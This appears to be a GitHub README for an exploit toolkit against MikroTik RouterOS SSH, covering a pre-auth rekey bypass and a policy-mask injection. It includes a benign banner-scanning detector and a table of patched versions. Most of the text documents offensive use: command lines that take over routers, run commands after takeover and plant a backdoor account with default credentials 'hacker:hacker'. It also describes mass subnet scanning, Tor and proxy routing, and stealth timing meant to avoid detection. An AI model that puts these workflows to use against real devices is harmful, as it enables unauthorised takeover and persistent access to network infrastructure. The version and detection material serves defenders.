Python toolkit for the MikroTrick MikroTik RouterOS SSH pre-auth takeover chain: exploit.py performs rekey bypass and fd-2 policy swap for admin shell, plus safedetect.py banner audit.

Pre-Auth SSH Takeover | Policy Mask Swap | Full-Admin Shell | Red-Blue Team Security Research Tool
CVE-2026-67279 and CVE-2026-86060 form the "MikroTrick" chain — an unauthenticated SSH takeover of MikroTik RouterOS. CVE-2026-67279 is a state-machine flaw where a pre-auth rekey request makes the server skip the authentication gate. CVE-2026-86060 is an argument-injection bug in the login helper that treats a -2 username as "read identity and policy mask from fd 2", letting an attacker write a full-admin policy frame into the PTY.
The chain is actively exploited in the wild since 2026-09-02. Shadowserver observed 122,500+ internet-exposed RouterOS SSH instances. CISA added CVE-2026-86060 to the KEV catalog on 2026-09-10.
This repository ships two separate tools: a red team tool exploit.py for authorized red-team operations, and a non-intrusive safedetect.py for blue teams and security audits.
Both tools are provided for authorized security research and educational purposes only.
| Feature | Description |
|---|---|
| [+] Pre-Auth Rekey Bypass | CVE-2026-67279 — rekey before auth drops the server-side authentication gate |
| [+] FD-2 Policy Swap | CVE-2026-86060 — writes identity + full policy mask into the PTY, console comes up as admin |
| [+] Full-Admin Shell | Interactive RouterOS console without credentials |
| [+] Account Plant | Creates a durable full-privilege account (hacker:hacker by default) for stable re-login |
| [+] Standalone RSA Forge | Optional --rsa-forge mode for CVE-2026-67276 (independent vector, requires victim RSA modulus) |
| [+] Mass Scanning | CIDR, port ranges, file-based targets, multi-threaded |
| [+] Proxy / Tor | SOCKS5 / SOCKS4 / HTTP proxy support on every stage of the chain |
| [+] Stealth Mode | Jitter + rate limiting + connection pool to reduce detection |
| [+] JSON / CSV / HTML Reports | SIEM-friendly structured output |
| [+] SafeDetect | Non-intrusive banner + version scanner for blue teams |
| [+] IoC Guidance | Recommendations and known attacker IPs surfaced in every report |
| [+] Thread-Safe | Bounded pool, granular timeouts, per-stage error handling |
| RouterOS Version | Affected |
|---|---|
| 6.0.0 – 6.49.20 | [+] Yes |
| 7.0.0 – 7.23.3 | [+] Yes |
| 7.24.0 – 7.24.1 | [+] Yes |
| 6.49.21 / 7.23.4 / 7.24.2 / 7.25beta3+ | [-] No |
Patch: Upgrade to 6.49.21, 7.23.4, 7.24.2, or 7.25beta3 or newer.
git clone https://github.com/tc4dy/CVE-2026-67279-86060-Toolkit
cd CVE-2026-67279-86060-Toolkit
pip install -r requirements.txt
python3 exploit.py
python3 safedetect.py
paramiko
pysocks
#Basic - single target, plant account
python3 exploit.py --target 192.168.88.1 --plant
#Run single command after takeover
python3 exploit.py --target 192.168.88.1 --exec '/system resource print'
#Full subnet scan + plant + JSON report
python3 exploit.py --target 10.0.0.0/24 --threads 20 --plant --output results.json
#Standalone RSA forge (CVE-2026-67276) with victim public key
python3 exploit.py --target 192.168.88.1 --rsa-forge --rsa-user admin --pubkey victim.pub --exec 'id'
#Tor + stealth
python3 exploit.py --target 192.168.88.1 --tor --stealth --plant
#SafeDetect - single host
python3 safedetect.py --target 192.168.88.1
#SafeDetect - full subnet audit
python3 safedetect.py --target 192.168.88.0/24 --output audit.json
#SafeDetect - HTML report
python3 safedetect.py --file targets.txt --threads 32 --output audit.html
exploit.py| Argument | Short | Default | Description |
|---|---|---|---|
--target | - | None | Target IP or CIDR |
--file | - | None | File with targets |
--port | - | 22 | SSH port |
--exec | - | None | Command to run after takeover |
--shell | - | False | Interactive shell |
--plant | - | False | Plant full-privilege account |
--plant-user | - | hacker | Planted account name |
--plant-pass | - | hacker | Planted account password |
--rsa-forge | - | False | Use standalone CVE-2026-67276 RSA forgery vector |
--rsa-user | - | None | Target user for RSA forgery |
--pubkey | - | None | Victim OpenSSH RSA public key |
--modulus-hex | - | None | Victim RSA modulus as hex |
--algos | - | ssh-rsa,rsa-sha2-256 | Signature algorithms |
--threads | - | 10 | Concurrent workers |
--timeout | - | 12.0 | Per-connection timeout |
--rate-limit | - | 0.0 | Max connections per second |
--pool-size | - | 32 | Connection pool size |
--proxy | - | None | Proxy URL (socks5://, socks4://, http://) |
--tor | - | False | Use Tor proxy |
--stealth | - | False | Enable jitter stealth |
--stealth-delay | - | 0.05,0.75 | Stealth delay range |
--output | - | None | Report path (.json / .csv / .html) |
--force | - | False | Ignore version check |
-v, --verbose | -v | False | Verbose output |
safedetect.py| Argument | Short | Default | Description |
|---|---|---|---|
--target | - | None | Target IP or CIDR |
--file | - | None | File with targets |
--port | - | 22 | SSH port |
--threads | - | 20 | Concurrent workers |
--timeout | - | 10.0 | Per-connection timeout |
--rate-limit | - | 0.0 | Max connections per second |
--pool-size | - | 64 | Connection pool size |
--proxy | - | None | Proxy URL |
--tor | - | False | Use Tor proxy |
--stealth | - | False | Enable jitter stealth |
--stealth-delay | - | 0.05,0.75 | Stealth delay range |
--output | - | None | Report path (.json / .csv / .html) |
-v, --verbose | -v | False | Verbose output |
Check out my other exploit repositories: